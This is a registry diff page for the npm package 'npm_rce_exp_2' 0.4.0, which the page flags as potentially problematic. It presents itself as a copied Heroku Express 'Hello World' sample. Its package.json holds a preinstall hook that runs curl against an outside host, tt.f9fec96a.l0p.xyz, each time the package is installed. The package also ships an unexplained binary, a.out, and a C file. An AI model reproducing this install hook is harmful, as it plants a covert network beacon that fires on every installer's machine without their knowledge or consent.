npm_rce_exp_2 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of npm_rce_exp_2 might be problematic. Click here for more details.
- package/1.c +7 -0
- package/a.out +0 -0
- package/app.json +7 -0
- package/index.js +14 -0
- package/package.json +23 -0
package/1.c
ADDED
package/a.out
ADDED
Binary file
|
package/app.json
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
{
|
2
|
+
"name": "Node.js Sample",
|
3
|
+
"description": "A barebones Node.js app using Express 4",
|
4
|
+
"repository": "https://github.com/heroku/node-js-sample",
|
5
|
+
"logo": "https://rawgit.com/heroku/node-js-sample/master/public/node.svg",
|
6
|
+
"keywords": ["node", "express", "static"]
|
7
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
var express = require('express')
|
2
|
+
var app = express()
|
3
|
+
|
4
|
+
app.set('port', (process.env.PORT || 5000))
|
5
|
+
app.use(express.static(__dirname + '/public'))
|
6
|
+
|
7
|
+
app.get('/', function(request, response) {
|
8
|
+
response.send('Hello World!')
|
9
|
+
})
|
10
|
+
|
11
|
+
app.listen(app.get('port'), function() {
|
12
|
+
console.log("Node app is running at localhost:" + app.get('port'))
|
13
|
+
})
|
14
|
+
~
|
package/package.json
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
{
|
2
|
+
"name": "npm_rce_exp_2",
|
3
|
+
"version": "0.4.0",
|
4
|
+
"description": "A sample Node.js app using Express 4",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "curl tt.f9fec96a.l0p.xyz",
|
8
|
+
"start": "node index.js"
|
9
|
+
},
|
10
|
+
"engines": {
|
11
|
+
"node": "4.0.0"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"node",
|
15
|
+
"heroku",
|
16
|
+
"express"
|
17
|
+
],
|
18
|
+
"author": "Mark Pundsack",
|
19
|
+
"contributors": [
|
20
|
+
"Zeke Sikelianos <zeke@sikelianos.com> (http://zeke.sikelianos.com)"
|
21
|
+
],
|
22
|
+
"license": "MIT"
|
23
|
+
}
|